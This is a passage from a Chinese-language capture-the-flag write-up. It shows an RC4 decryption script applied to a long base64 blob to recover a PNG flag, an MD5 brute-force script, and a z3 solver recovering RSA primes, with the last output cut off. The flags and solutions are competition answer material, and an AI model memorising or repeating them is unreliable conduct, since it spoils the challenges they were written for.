cZxrOq2uvYe8pggcZL9eS4d7H/yInSY85onrbW5Wi5W6ZBbXfh8hyywsZYDwcJ03J7z/NQTH+umKOkz9mpnhfXncUGw9+Xs09/VJcQCoayq7eOhCrFdCTghhQArQPXKJXVzf04aZjz+wiD/YgYxBQDVEB3usK8zGkhcj2k69tP1wLPTJ/bN7RsaDp55fVaoPZ1elZR91L3cbLSowLeT1BgMa26KDBNUMSDDqxlAxFAiq7wC1kdk0F76T2JXc7g3VWpN4oQ7nSv9qdDGHIM8NpxW3L3OSQPJJcPOyonZgtA3tHWSXV+PzR/+OufAeFPa47MmFscdfi2ao6XE3Mq49EpUbN7T55p22dguRfwsAtwXdrOc9VqdIi0uEPghaTkgD7DZt/9+POcoWMX23yeOHpvgC3nEKHSpqXZBybFL+QMKb/4NYTQtf3cblzo19WTrQUCpZLZzIoOCxFacjxpN8/XHEaKh9M1RO46qnjQMdynhN6SjeyDoUqd7+Bejsi46H+0YIauxCXl710HghoU8UgSXM+0Fd0a7vM8iPD0zYfHa24zlHbKuH6IkSeKGyUrHH8vftLyx1XBWkVWDsaA4wq5fTrIGiy7vXrm1WHy4g0b2BZUg/f1JZGaW3wrXx6fj44HebI3yQYYSUYMxHM/3W1z3zYhk+0V+WQ+bMtx8pms1mn5vR8toAqwZQiBzItz1wKiMfnKCcHxp6kIAvT/yHWYTn4FiBQQrOPc9bhYD0TZ4FYlWikOWNT36Ho0P9fFCLLOlS2j0TXLCBj+xYowqZncbgGwQWrACZp9tWME+Pc+MY/+qOrzknNYDXlGeQE1aCjIGgep2b8/bGO6v9JrioBxA3cMzNStv01sBSRB0dr7ypKqd84crHcZAptSH7bcjUjaAAwTu6IptiAQPCrcgWfIXOI2x7liV1TKziz1GHmNQSMb/bKzbSAOlFLoi095NtEcvaPoPepVH57idSa+qsRcMOBc9TlthaQKS1DeTTPxZDq6MPvPwG2Cwh00F4owxn5Q5qqCUtCO+weJ/7hDRSdES0Q4GaLEX4u1UXU5w8fwSkCcS7tMYBRDPKYrBhkHSumFTH2ogq1yehdqgj0Dz1DuDO+qphahobZGF5O7i1Om1cXHHIt3NTWNFPhDCgyt9Ea15AC+GgFBLAUdKP7yBWp4pUBrWS4fOVsucngI13gHVXNBLU+s7wN8bwqXehhVaStoKBfO+PkvMNhaKaIfbCTVj3iFNgApMT09niEKJb6XZExiqsbcs9R0D/lrIJGAu1bCCWNW0+ZpADPIzzW1N7iVblRJpoFAVx1C9xgYaQQatrCZ4P55iIT51yBrKfuEJShUwB28m8MIT5s8ut19XtCBaOeC1du1Ea1bjMvNP/RrVhWWsp+iypRxua0Lj6cBLNWtIeF6Q1YpgOaraCnncgLWyFPwPx1GSlU3uOAoMvSyKOU9Q4LnIrzpC3XnSEfcAz+rhQdsn7ykeit66bDKooUtDrk4skIB5IK5rZBCozEEZ/LHKOgPyQNWWXUimwWWNoUU0ZvkY96zHAvCVv3QQGVQ3AsFT1TloXdoXaPhOkokN4v/WfQRTVTOrtK0H2x2YQqYImtXK5lkxz1jowsIrOD5Ko43q30IWW0FMVfzugxJ+1ocFuepMGqc/pVs3cC0pUonAbnudgUWeEIgHw+OervbAiIEhbU6NIECUr0YYOLr7Qb6r80x73QhJ5E5XLAoTaNtYGBIuYDa80TFuorOWcpK5FKCsQ3yNoxrxHWMvHA1wGwicqc7fylhxIqH289qitAaLHh1fBbuTTewPusqZxy7sp7IqC3t6NVhbZ9mrbPrTTI+b3nvIprhO1h14HDsM6ySMqek/aFXGLypk6siBV8UYjzOeX7GTZa3mLJN1+m5UCxMzaeOtePrw0IUCfun2J7bNbhIzeFw1kQPSSnoE9F6fW+0NoZevwLhvakvIOMSuAAXHJgbG6be0PukQ9znohH28++NyDVaaJ+xvvoUDkqw1iPH7EUt6gq/wVusmspvpzyvQlR7dBmizYPqnWw+He9WfeG+RK+bt90oMDTQZ1RXP1pBGHM6v0dymCs6sa8PKVphEzNRY2+9suUWbz7a5qgoxKRHgiw1htcouGDPnkKu6r5NAxretQ7r0Gr+vEhjhsAB6dif/DsftcXZaesm+8ejTCBgr6AasFpNabc4no0ALjGTsZdPZ3o5enj8LmztqcKKjKhIk4AZyoT+Yt4fxpWs0sMPljqs9pCIC4/nHuYRCC8GsPD6tzD7x3OdAoVuJjesZL4cdazH05H0OhdSsYG0dGFAoVvHG9e9KTDevzkVqAj0PCNeU+E+e0IPYUkPySjgmIfLi29L6GSw52cAD5hfxVgSvv3aG7Dn6gJc65Dq4fd1oH+lLiOaWA6BBwZCU/kV12+L74ju4jxuj2kZtcfJJHSNav9Acu2pZo5fTXHmXCUL6B84X4h4J+/s8uHEooeAHXoaSCR2ZQBPFqES/WqKuLZvNrCyw7sO0bA8Qf2SAK/7mtjZBGDq0j1O+UbthaYGS7MlHB0/o44M3EnIznQg6w0G5sS+iCOUPR2b+szj9z3Vdthpsyl0U2JX7gwx3NDZ5SmRBq8zCTFsIAUVWUZR/Ei8RxJVRNT1ICD/9pKjyw7jtJSxWJFl+wMiX4b1HUs2R/kzAOWd09DeF1BUuVxPsfI78mvtRuoEbqa/jtRLQYJlJpsZ5zjnc6IpqfAhtT3MQlL7caPlajN7ogUgfnm9vXoYwRdzlqIjZd4RAkU5HOls3YPdbwAgmnQFTm1VpiMDAVynP5ubfrIApTdL3wRs4Nz+1iTkqLsCt01LRnlE4rKl1B4jbVKsZq7lmOznyQP0OOl1oMUM4OWcwqMNI00vsGQ/RQbu/P/vut18P91mQB95f8cV0NJrkQrPBBhxkMNsPw+IeacWUoplJABqX7U8gtNx99SaWVDB6rVKZEgC3R0IweKo9s0/uwQlZNgA0GEinIO4qu0/QUb68HzXHK076fWDEn1cMG0f0vZi6+ojaAtxq09BCZtgO+XLa/BaRkNdXxrUmSBgCzXK/ghfI5InmCfCQpD/r3g5dj0wUB/8Ufmpnra0sEI3STDIGG6ESBmdADdLvvrtvgvpE9yVqFmUzCH6KlmGzUHHP9BezNZ0xQcd6E+BrR02VXyYNRnswY0kuoz19HMHGG4GkMmiML9bmL2iMtrqaw2xs6BwLCkenH4Y9nZkmYXEI1e0TbKhxQVC5JAxK33Y58bC4MFj3nebNseWcwWdyjeyXiOvae1S5IqwY60SL9XiIezB77o1Rwzqfw7PoFuBnnukX8FHx+06gq4KwcTfTEzUbf/dvfcO1seTgfZqtCrb9jV6FpnFm0exn7zZHY7+TypJ7O6K5GrmnDUmC8NP530gxXNFw44IPFrXELSm4OXsyfNBldnWfUeU8QKPMYF37MfNYnBUnuAnG8tfHPJESj9BCSnbAWPl2/7Onm3V2Oh0jxu0pG3BiQ50stc2K3l6emt6XRWth8zyiibsjIKvdkESZbNi038tR0Q6FbH0P+raZ1lWSbUjeFDDTGXRf1hnxOyA9vSa6JehrwrEIZZ91q26hSZPBCsbWguGUbrMMuHPXIZu68lOR7OQLHw/yd3zMmQEReCNwEdpBJ4L3B0t/i9X1SlMB1lWKk3VnGt1mOP85tKWb7SSEqTps9mf/fv0gAcDyFeLdEQFbtwLtMAt/xlUIf8ngDkKi/NzAc/WIMrq7k2LfK/S+Gp90dKK6H/rvT2JhdKvQFA7LlouIiW+xP3iRIWw+50rsjDgJ1fCVCGWIjbxZM6iw0+Flk/FliSi121eiyg8b+3WsA/mQTm8Uim7qN6gwb64oZ/QUwyBD5+y/B2AGKMkbMfW0JFLvECSoUpXTfacj4Rn5UVt/fTvDhnZfiDV77vi/670RDXUZzouVbI7AT2TsVJ110PqOl5YSqU24jvQTht9tjmEaFcuSRp9rR3feHfJfJ6Sz8MPYnSfxEg8WHL88qFq/M22KYY3yt8ymqu0FgwLR2VYMd0RBnRC5hwyXm103hV0VopiHpRzWEtb2kqtIQ/0hnUrxMolqtBdVDjAsFtPvGvlt4ei6Jqtew/NszHiXwc0HDpltB+mZHlUSw1sAuMtArSgXAcVAQ1zjpE/ofLDoBe+hCbw2SbtSZTqB/xkh+qbQbN0r/i+94QdWa4NPbVH/SW0+akCuul0NYdqhXN18lxPwFi8XJnZH2/m9XpxlRy5HbOLpZwYufttGovxgEsdj2rNNlEolosWbI/BGQbQrB3gqAX8AnwYr+qhvH3OLXZvxmxFi8eJFNT3r3QnE76Hxvk4P0XC+lgxDCnmEOVCezBFprb1I86VSz4IkqEMNgU8o6t6MAHAb9bYc38GN6M4l7wZfN0ZOnLfYk0o+pDbwgmomP5l0Lpcu+zYauvcgD30P27pNan2XIzUil482WaF3pMjVFQ0zxl7MomQPCNenct8fI7NZBNIQ9k8Ponhs/FykwdCvL2jKM/VDQek4ZIckv5C0p+fXSCeLmEE2rvqtNc5Q9che2HtSOgx6HQJVAuo2lz2FhBmiCfbzAeT2q7jzjcf7rEQCZedO3gSL+llOx90Eyj1z3t8WpvfPI3O3TC7PkUJLclyCteORNDVIFjTdeGnWqWc2RIS1tFulzwdpl4bxyPVJMQiHVm9JZiehM/Y9CNZmRxjGrvwYEnlGVcrSkdscc7GWZ7o0kIS8iHrXt5SotuTlFutno32LqPTf+02bUZyvtDr1k5NI1CJyYek1luaOM7DMumOOLQXTpEOjGqHzf2KjoXjlCbSqc4A8B5ziuwmQ8Ot7P2CC8Ia4ndureDhb9mQtSWdpS4TgBRS2zRrshvU2mQRQYiRetx8WpD/GKa7ItfZhz5lMH0chFOt/Q+eqDFCmzyxY7ybrrjofojLDWOE92J8OMaa2poxiOcZ3XPR3MB33dkKR4QFb7LRrOywYUhWWfSeNN81bY2D2+cH1reqiirl9XUmwQ72zhCHBcW7MhQsUfEVxS3f3LiiKxvFvWqzIvZ3xQqQ380M8rc0ZySi1dARoXpUNu3bdkiNM5V4OJLpHzJ4ra25F+9DiGuyGeLUIHTNzFFnY1yRrK+JSyRu11DvFd8L7zd1+bt6YT7R+VN74jAquGXwTAgvyf8uYpINAx3GSUxPXXSjZ5r+WWskicRuXNMXzqxurE2mQSomMSjhwJlSUxFbo2tE7EepHFvcvbO81AL17+WpCpGCCoq10Y4Ct01xEWgg4hbfeVEmNNg8vni+Y0vbA1mUAC+3H9vCt+3sgw5vc9osiAbSer5k71N5/rVnnf4ZJMlF6ceGdpHsaUTmuUD07jWWn6js6PT5B/yMZm9/0Jsay1kn9XJ7dULsDOWjm78C1CHnUiLFNDkdl1SD9DqPSn2CBg8TOjlXCqQj4KcdtHnMC+Ykk94K1wPYuOcVLpNSqCqfiMWzeT5O/R0eOURc6siQdtkgI+SA4hrR0ta9wE4KO6CkO2U/0qyIiNpGYbDszzuxuxDKJkN2FQH9mgLvrXzaMRrwiJqhsnuB/P8TukmVKaumL2ODbUmJ3npFGV5X7VwBGQLnwp7LhMDBAGFH07Jch6ktgR/9ZfdHuZ+2Gjyht0g8vi4v0Lyk0XyNLROcLWWpC5tDQXUPmHchCqA59xQKyojOc4AfwRFjs6qqBJQUOP9WJiAt0TAF5D5SPKh5vP0ahLt5dDqmI3VFUL42ZFKxb7JQVl0kmFwSmGW6P9+WwoDeYPS3l52UdqmTlyLd5z9a7VUQEcXFpJ1LnntcPxZZjp634SBZ4XjlWarnR1hpZ35JV+z0JDU2C23ajWzhYA3jUf6nDfncgJEQMmRu1wu2BX1ig9bQ5aBQP7UTg1sECtxOil2dDoYz+F8lKPqrcwduRv02ZGv12+U7TSv1QAzAIMK+Tcbeq5cQmHHCoz4DlSkQBGXHvboO2305EXLGOVWMo9vjtJ3TE+iWX7Y3Dhj1ShtgzmmRGQwquCmyHwA2TITFjY6Cp6AvEpbuFzbkmHjIcM00+M48iFWKGT4d1IiXMrxAHNI7XjBrrBIFXzMHCUDCyeLf2NBml0WcQ5+/dF1B1Ahv+RfH9OizwDJJf3VqhCa7ftl61qNnZ/5Leor7ygH0b4vfyGdHY0WfNu2HAOktnrFcLmqjpeAfGPofkQUglKH8Waa6nWCJ+60VTd9wJDCIv59aaCcJ+bAfXlPmcJ39mAoCeAoiiYPuX6uhLAuqgjJSvL8V5W6PzcSfUPdfcFdmK2UlvrQmOKPd+ukDPTbEWkZNqx73vhGt6tOkepVHw8MMpqiI9H5c1zsFrLEMA5F6GOlxJIrYAupjlvYKpDP+4U0ZlM2rskyWewIfiOLXq9yMwc1i10NDKhR4wN7w5C29qCV+xQzdm3LGvoDIdN8AB5NbjpSWMHVxoAa+gt8G0sXNLpLR9TTqwIe8+m9+QzE1MVYiAa2ko/UnlZTZPukyapc6W50MG3RV03VWaTfUoe3Q39XQMOivKfPpOu8BrFnDztAnMcGAPoYgMKzBAniZB/s3ucz2CcH2u1KkvUnNr4cRtkMWcQYL7Jq53yn3HehBITxq6PNBucRo+GwpY7K332iTAUePFsBlED7VMYyDcUJtFnY3UevBvWJ3O53zdMmoAB6IoG1sCiPg4ab5pc4vj45+t9/jtk2lgBwItibd7mAxvq/k6QpTWB1D8V3l72UbvpuG3oyYKAevOPk+hJJXAcjwhfz5Pa5YqmTtYkVZFX1CVlmQXqXX6zkw5i1tFkN7Jrx3x5pLLPP3qpt71mAW6pUfUSC/O3qN6MZapZILIGK7TC+yUDftlZGDMhQiP0jlK7ARh/EldlsLZzlq8HxbxjGTzTzfN7HlcP3VKPxNZAyUZuxqSP4OuQeflt5VATCe+F+2GoVVTNa7ojf5+8WoYuzTkNkIK+gpEUXlz2Yme9Q3iI2SrsVMVrFFvfjoMlbDNGWgGxca9EM40Pd6Azul3yK1Qu9cGjsqeLOxxH6yKEOeysi/xAOg/r5ryEyPetVTQBnpfjwOIrsFXgALgb8AKc84ouk9btB5Ni1LolJXVm78O+gle4doyfS3Q2HbrPp/zQ1Y9sgQRAjQYrv1SAoXN4z+pGOdxRtL0i/1UEbhBeIBdJJCUfiSf6dINv2ezDZSiTCpzKNz1bNhB/qPioqkWaIdMvqgAoNYtwMLWxGtEYgq7ZQH9ldLgiRcTGFyfscGUcumx3fVcB8C5hPaTvpl7P0oEADQXOcpG3+HF6OjBAH/3ESSMz9iwI1u7x1qIkTCNLuIR85WsWlkg0V/2apmccfW3v2aFW3Jnuzzi8/5epRF3AMmjPVie5NB5EGE4VdrIadLH6eHkOZeYmRq19rlN9DJzvDgDczD+w4H4A4gx8SQmf7wUPcvBdiTfFz07rvPAcF/l8RDBzPMQi1t4OcBLjwdjjD+Y4onIf2xrcXS1GhuVPV8p4wPlDYdIQvmpHHe0lqLZS3xWE8+9UhSPMvNGKpW13eku3HzrWt5dXafnYKuS0VrGzJnPJhGYj3LxtbS1pOCB7hbTeyzcqeN5rzm+VuPxwacM+eHeRgq9LziwhlkiYg5LrQkb1Xn70jt4AG7O9I0LBKUz8n8qEGisXv9Y3vK5HQaEzlsoqXo676umzAsGaa+pzXn8y+iteq37r4ON/pYnPV/aXbqpI2ZJ434n/Xs7a87jyftceDtf1x7VyYiitsOOJh3jnw/yGskOBEiccy9L5c5sOBGh84pj7ZCQZMd/wmRm/w+eqs3VT+AO+JUQb7V6UVwrPa4LUn4caFIhwp7bjABori+GrG2iDDuoJCj7jxo0pdCWqXHYe5c55hOvov0FQ2Bq0Pl7NUVLj3GvqwrQO9IQiSlMTZHtRfaOKGly7Dwc94rvzcuAsn1GNhQKXWPlPmZh0noE4pz4/kLVYeIsCERXktxdaoZiMFgxUH2aBQb6xdB18y2iyz6R69Ohx5LGMD3JNZzMB8jikifFXCEnDGBkxRrnJSEz8wuaGxK14NS2+/s0TiGrOdI26AQgJVr2vTv/Devk4M1BNQq0qgtRllqI8FM71r9CMyc2MzHN8jc8uSj5Sp/955kSxLeGR7qk5MDDQ1PTHyjSeKjDvGAHNuMtqN5s0a3LReCj9C6zJRDOespMc6AfvftMMqBNbbgD3iGd3LbPP6ZFR/CI1DxdCqb8Tk2wDPEA3NQ8mNI1VElEGmykBU+Ki31/jb/idejObmJVXlF8LGdpL5TbQfcsO9wgpkNAsGQqfDPsw4jJJA1EEBcQ67gPv4gxUhdAP87kO0sJlGjZmRyfe0955Pk8RhD5Q8hQ389FRCDaEQZBQMpv8/b2gUF0SzSJlycKFK1ZTl/P1M89DKpowXodiY4l92J7MUDHckkxyj4BfSlLnT/MrbctEpPbWaErIFxKW6XCuCF7zKi99bO+rYYfbeGYEBykQSP/fFli5x8FzHi9BUe95nLns7ew/R2b9ywJl5T8rTwAx9ekKPAds9aLRqdge3T9nTFQcZCyD9JidXpWsKozVLx1abJwpllhVYhayHgglS0mCnxWWOXP4IQqhDehNPYVoNlDCmGA6QHm/HU6nZBvHGlWxA6SaT1PlXiO8L1z8rsRu8clxalW6v/o9tgw0JfRVN5GXm9tbSIoXgFlksdDm+MF+KAYHLqvc1As9NuEvm8yQyOQEV+eoCwIkyn7QFW9BNItEZqjr8KSIwrX7Wk+wUOCDdjtXy6uEReyzJ6fsEleQP6/OTnUGnqQUkreM0BcBkIFMky+4YcRngFZG/jrHUm5KwVeimXk9j7HcYqTG0A64l7ZicxFQeQH5b4pvAiz6Sy99jFpHM/3x9B+ll8wFPEs3e59IMDTIfU83+IuQcK3nazpeItv/vUMnJwAliT5k6xuUm2g2kyjpao2JdGN5hOrdG8yGUheq51E4MU0Xf6039WdzIRRxwmI6CEKlAJFFWtpiNiP+jjnHTlrWubIrsUtS6qBg2j/GLm6lrRG/9dKPeqmgPH/ugEAPlB0+8u2EOLFGkXmuU1K5gayCZkCN8hopR2dtxhQ7CMhIdYmgMH/pWHpCE+0WH/fcbsLrOPkUppwMBx6xjeM1gChwN0ruVWhVbPgnD+cIMjGlqF/TjDMd7Glx4Pp/W2oqmWj2xKKJTYPtKZyHwS/H5ihKrd0PnuZtHVDWAJ1YdxRoz/UlJK5b+jDGAY1gpW8oKXq8NcpkyFnN1S3bhCjMSZJuEo4gahJMzbuK15QGQW6QopNBpI3/fLUqQT7m/HyVdj8FPvfG3bTLWy86CA6kI1PWbMVrmD97LNU70w3NLvhcy8ab38So4fBknmMqWNw54MQpqbx3Db4JDCF7s6GmNkJsYTtD2/XPndvb5JadIcTNw/6T4q2yD25ZBwBk6/d94PkiRmNxpEPMmSXM6e6/E03E8WqO+NYdhZNUXa/5TnbG3cB90rFZaUJbHfZ/S6LbqFMJ5l0HLLZJH8oBHV8oo/9eATyoqg1vsZRPcK9LWEaUBI6I5b0polSvyKzo42flYIWqXg/RMBS7tozr3MBViJ7Ou4+fBp9o6yxfGfjJfdFu2OxPJbKNz1VpCSShqQi7rr5xN5pPCAywT9P2BM1AntDErkF5W9E/CpLp53yP0DQgj5CgCOwJyqphFBh6rRPEVGS5lUJnUTl45hEIB6jzVUZg+n1mVEDR8E9f1H6PNmxUXNe5n3i8ezxLbnWgPaUZFcdan62LOPFm6B3F3eFZBYFn7qFNyJXrzwawJLvgC5su4XaEQjt8PPFXPrEzryGQj70RVccZkfXaC9SLp8KJH0HXN9nKvx53rTuGjwFrWLJgJsxA09i6yooNdHFaQNK02ide3FSjUIpVHKuNBGExpAbFwUezvSxWI6kkjfKGwrvut8YFifV/wS6mWzDrW+LibSG4FdFn8OYsdraWBvpFXzyKNDYIoIy1ZMKDs5idc2XiI0PrVf3xEXZywLUzUwO0hFJHLxmq+HgUduhUuNtHwrMSstyTew3ZnZ4BjVRsxNzYA2lnynW+HcSC7tmzW9I4ldX+wdYPFS/OWtNcRDQ9TMa1XGzhzopppaEnIP5sW9Br++BQTTm7Wr3aOd0e4kvm6XjgfRLNZQM6lHGyDi8b42f5UK5H5w7xaJR08UVLMNsZ+dIlrYa0i2VUfzGTnC5ByelgBwVIPgh0y/DOEh0ej7tYBLiqkvTNTL/d9gi7K3A9N/toPB9SQ2oUF7FQZxzQleU5SzMaXPV4S3crhBz9oeVT6srlV+utXH+7fetQRQroI6UII+O+IIdtjHjiCi0l7w4sSqZ4GjMNi+wCRXtU8SxhOZufvWp197CTHd4cKwz4GF2T6ec9pj4HGC0tRy0P6eJt+8hqa85QUAzjSnddT4sJoHGIRzK/RQj2WgsMm35jbULB2ivtxKZCDPokXKDR4FJEfUnjC0EMsuk3iSUz5fTrzJH0jE6kAN93y0p9Fms7eyEUam6oAXyyw1Vr0khltfrYZ51oMc7mbHupPlz7CPh0ZKfILi6xTRc6rgPb/brlaWhOUqC0c4+7iU2nFu98kgKUL2zBAK4o8aggi+2tsMwP11uf9nH4XSiL52rWI7mF+DBySCOzPUahXQpZ+rVv3uwUUCa5cBNJtL6PP5I4h8okfHMwhw55pfWklIHYRkpHkF6FmyssRyzkhR0GBqa+pyvpeOc1ETPLwazFdOcT8NuomxFF3Jhq3ZiBY4e963H3tcmsdNf/pjld1GSqSCunN+CFCWFSgtSBE6H7tUd4BkTqh2opaZZRwApaIkDFBRCM25xavNAeEqa1W9nFpTn4UcTFRvzG2+zV347Jv0hhvwMqlXP2EebHIwY6ero6mhL+6O4JGgohtRygr0OCbammoIGdZU22s7ok6GAfaIG2xL0UJuJq5W6FQQWVwnRWz2owbrJP7ti6+EEcmzUEu32KLg6jvtJF0M1mkmrEkHC+m4HGo6jxYEmmj8bmwwFgtlnrBUtE69V5g+Bx1b2WQTOkv9D12Twtu35Aufe//oylqgdKwCW3eZyyVf+XG0g1JzQCOf9RZYfJQu3b2n6nKeR2uwg4Qq7ElvRkRUtUopm0Mvqmulu3h8ti/OdXE+m6Ayx/0NGPEl3xPYjeFoD8eCDoof9y6aU1Ly16jmmbpAIIgC1dS1HbQbKsU+1et1GjEjlg9lMs+odOf0sUDHUBRZ9yEvzKR/s3IDsnHUlBaHya61kk0zUs7pxfsETwdrgFJX2AexOG6ES1toz7zsvr8IYQKY7X4J2WtljFH4iLEdiUJRqFoP/3DWZq9ypEfZS0mxPvVPaJ1d1qywaenQLhrPlD4ifHhgqyCdYKUSV1p+T+rk8oXunllKY+vaOMOOSRstmvZz5Fy/C0Rd/jikzF93M1JNVz+IfaFYp49eadAjX+pZdd76xLi4vi8WridwIhRmhWHvD0MjzNJVsKNMOfc8Pa9HjHDQ0J9o9O7reparGrBeGFgX+e3ybWNFFtlEZaLu3YHc2uaswE+6/zoEf7VmWJGROGXrzntSERgf+B4ipSfJRI6mHuvhgUWkoI0N7vtGuMAG2X/K+Q2/Hks6MS9iUk3NrzOiDduZJKbsNAO7goiJjmHDFicfq9ZHB7JNIGw3N/FZwehegHkXF2z8BrcyxN9SHTtbw+9RJ8QanLYh8fgPEJobmXT8qehN7BuUiESdkZiSE7jxg0A5tXQ3WqwYLjVQosABjL6xJj2nD7o7/HeNuddR0jZjJ38SwkgKNFiNtdm5WvggPtbH2agFrWvw+zm/FpYyEaxkfi0bbxp6Hx++tCnu9APqbKmTrONZv21H9bRSzic8W3pVFOs1KZOWJMPPtApK8+JO7JxPDUlNRJbefDsdU0fc4lvDBPJqMKL1zAuTmxD2yI/OIrpuvn0DJGRm5e3mNnoVPalzLXWupHae/pTqJr+mUSW02h1FAqaKKWph2nXK9bTr2HGNnkDPhtLXLNOQwEf4jTbCE1HqC7a3MxdOV3mEtccmCs4luveT1fx05vvqkXpW4pFVL2DSb5Akou4HZT2qgr77mjEnY7A//mG14ed7DdDl5LvgiR3fcTRdeqljGOJ5Pkth01/gzHtlpeYYOlTiND5aTGZGjiHSV1yEf0gheEvoQ9TJ2vn3U+n/tk5SEUL5gM9Uh8/uqVK21tO+uZJN1dKwwaVoXsmpUX6aCidGkpULKM9VRum8QAhtbZDz8Y7jv8NWQzWTuUKOXCyvv8BLn8fiozqb8AHtkAy/DIHGvVcpKAF3kHm/yVohovD4lnI8c09U/kqpT7f79Nxm2Wj5lxBh+UgTA2DZ0rUQEuG+jOT1zhhAr1vbIk3KTF272q13MO8g+vSsggW8w5zgKKDXAmX7/Ao1+az6AP1AElemf8HHaIK6S6BGZyg2AUsjOdPUDnV1WCh6xZDF1OVdD/wG7M9+si/qSVjn7VXbqBizEj/3bPdLfFjssKpTwRZ3goVRqjv/5PuUibmVfk1MrKujsGwvHfRDlqBvXRzdBze8ybk4S5GmlQMvJ5KOEYinWMhQnNOdhty/Y+RMklLc0ikL5OtnVAnJZrQHv0blef0W56Q9kxW9FwrGss+bjbpmJJoIS+QjLQUaaytq7+s7eSGYDEIAGfWWAjhYn0HuruEAGugNk8JJu4Vw8sJVHN7pY20h3PE/SqtmfugMG3uHZBC/oe8lL0qp4UXJdxazWxaJnPclvy8qdt6WRsHox6CIOL/F+jvLFr8ldxUGCS7MC+WBPik36wj/98ejtMJ+k1lNdtwaaT7fq3ml+tBxINP5Jn4I4alIlCXvdFga33KhDC6xKawHxvc2xbPTqkXcUmdypadH34gymGYUp/e5R5puzT4BppcZCG1qomSUOam68yQhny6+qqzHXFlyCYFH9gclZmhjDCnaB3mDbJcqiTsZlanup5k4MJhDHZh85VUkN2rxb8DYjJ5EHZOhkoHFRO72sGGYTApGXemBlS4UGiEcLt1AQsrINxcNcW+ffv+90mVQDiFywFlfuGH5079AeRZek/V/D/nVc8SRaDaTNIh5s527jO3Mb7mg6A9USUFc/VwulfKi9j8vV0ZrqNy4kInHrmMus4k6CnxlJm8xNlgRGwF5bkjpNA/DRaqndi0iADvIZpTh3BYsj0VT8ztcLjXZE1YkNuWvyRS5sB2ckApSMetOXuo7wbzW4ePT6kL84+UTbcC0ihpHIHk2KRsI1hzw2iw94UmIoHm9f87esO1tJC2QZixd7a4LyoMKcy/PKJ5KTx5h83KaGmnmvYyXDQXGCCqQir+EL4gEpetX1S2sYLe38YM4Y/kjN1N+kusHF0EMxOsqxbKORDbezoTalf7/VP3y6Di5lhttPYnmpjsGY2oZtq88nhGQagzfxY3R/kibzM7Gq/2ww72+jgr8PBSXTiQTZuW8TePSSqXldUCsPzPLH22muAh9+yaQUhCqsy7e1broVy0o18NMoTlUQYtL3AZyan4Z+c0YUFjmjn3OyqpweXyxoYtvWM5nEtuRuVi4ys3DE9sV9gJI4GfqlqbIN9aigkgZcj4eQzueVtfU6n2ahLRV1m6EvgYN6aK6bFPRIGI55Fz263JtoHOI6O/LwbHeGkKpe2XAzPa8wMwDdU632Zpfxh/65NzC3Li57Jzuj2JZkrvGr0MpaWBkdfjA4Q4R+wST9CvFllTtybEbNkVS7SB382POApKmp4DX0nzTk3DjnMzGX0T/spLmfoutku12iMCSgJqptUpJTdnlFNADB5MntZOOoNyd2v18mhEvscuEdssOIfS+zZ7pCsgTWNJ2Ti20ChO4zURPpj/kqc13LaOZY8lWSeaZwRmB+Hn1URxV+ddywN5uqpDVM82uapiFBA4NvkEgewfhLzkF6g8sv415gN1MJDkpA1plWI1rYfRByEksLBMVJ9kdmJNkbSeRwx8UOzKT/TZSpIuUIr6ULOaUK0GZxCZ1icC0PjZF1d54XB4vDaIzTp3HPwNSdWYDnt6Z4ctbK4+ZW+pBMlxjw9nrjEyusi+uHzuGvBW0XljVI7Ud4LiMQKUIRpKOaBHd9OGfTtf/jeOxYgs5lO81OeWq3NvTawNc2XtbGxDGnyyKqvNjVmZDBrqq4J+bsT2lsDY2fNFkwvdD3iWbUg6OdF+GpEq5qKI4f86Ma88AS9zqwjVVQCfP3jttJCIfpymsF5y5FI4vYStEH601keqNJtU+pA5++zQZhZwGPoqUCHyyf/5QoIdzJ+M0byhcwGCLMlA7MQ40hJxQuudHRLs4NkqB7bkODgSMHCnxdW7vdroSNjiCgdj9RHCTtpUpQl5FAaIddRR2xdt8t4H7lUgIRxHbxuoubfHw8hGgR+wrvo2Jxn4KIGnD3CF8nV//fi8WMSseWaYdwV9Ts256XfLg2ipTomt1bkMfjHmI7VE7HwBWeY/fuLeJrWJSxpsj4NPiddKntM/T5UNVgSW81ANVqkld0m5XgTeu3n8K0Rvg60XBJ8gHG7E+/bwZYCqGxbLi+sv/EcUqgBNqsnQ+B9SoBZkx+y3U7eCAG/df2/UqzFKJVafVcyp9J/jc6o9kjOZ3dGHr8xGNMiGnI0sjQgV3ZIMKwCRvCTOj1NMbtZ1im1D+/19Hil/bsIm5lRF32Pj4cugoUhRhsgRCQqagzhk6Xk8Fq6bdTZ0jYT2fajM1ovhmbVyP9X2VfUXU7bPThIBle1MQV48ycfeCkUkCVtk+1A0O6ZNzipPcUh0ZqQjBbXM3xkDipkPoVRu7HtywcH8B5YGczzCNRJGRGEvk0pcLO5T16U6UJwkQ2Cbksttcm9+T2KLoNLBGey7ea6eJi50BeKB10SxEJf19n0kPwJa8xA4CLGRBjqCloHxT83ygz2jD9tiMM1shHGUMDDUIuLLLo8lM+4yqKjOiNNW63qsd7crwtLJiiUVkoWvxNZ5efj3ZwQMYREL58Hr6IhBU5UHFvAt0RquEzxbhvTZH10KPSsHhHA7CsC7EQ==")
cipher = ARC4.new(key)
plainttext = cipher.decrypt(ciphertext)
with open("asdf.txt","w") as f:
f.write(str(plainttext))
f.write("\n\n")
for i in range(len(plainttext)):
f.write(hex(plainttext[i])[2:].zfill(2))

得到未加密的文件流,将文件恢复

得到flagctf{Y0u_mus7_kn0w_png_f0rmAt_well}

CRYPTO

碰碰车

1
2
3
4
5
6
7
8
9
10
11
from hashlib import md5
for i in range(128):
for j in range(128):
for k in range(128):
s="AGVSCF"+chr(i)+"TZV"+chr(j)+"WBGVHC"+chr(k)+"U"
h1=md5()
h1.update(s)
b=h1.hexdigest()
if b[:6]=="a8f738":
print(s)
print(b)

得到flagctf{a8f738a65b715ea54900b180865b20af}

EasyRSA

先用z3把p和q爆出来

1
2
3
4
5
6
7
8
9
10
11
12
13
import z3
p=z3.Int('p')
q=z3.Int('q')

s=z3.Solver()
s.add(p**2+q**2==208680638196054793779950396947640995086963335225314494211048436767328157403385847902708950876722819363430805183637917486948883719184952031896287718282687710627112461479842558330512185988841693609451411485248346255881435015800175737788918607504412656254312427601603342579907641505150315471704698521905016530338)
s.add(p+q==20029167198807103822294848708534176719693827885584335928109682356494141073775700355124993345488062063358756812142730873692437534641839672970148348433433440)

print(s.check())
m=s.model()

print(m[p])
print(m[q])
1
2
3
sat
12026655772210679470465581609002525329245773732132014742758935511187863487919026457076252932048619706498126046597130520643092209728783224795661331197604583
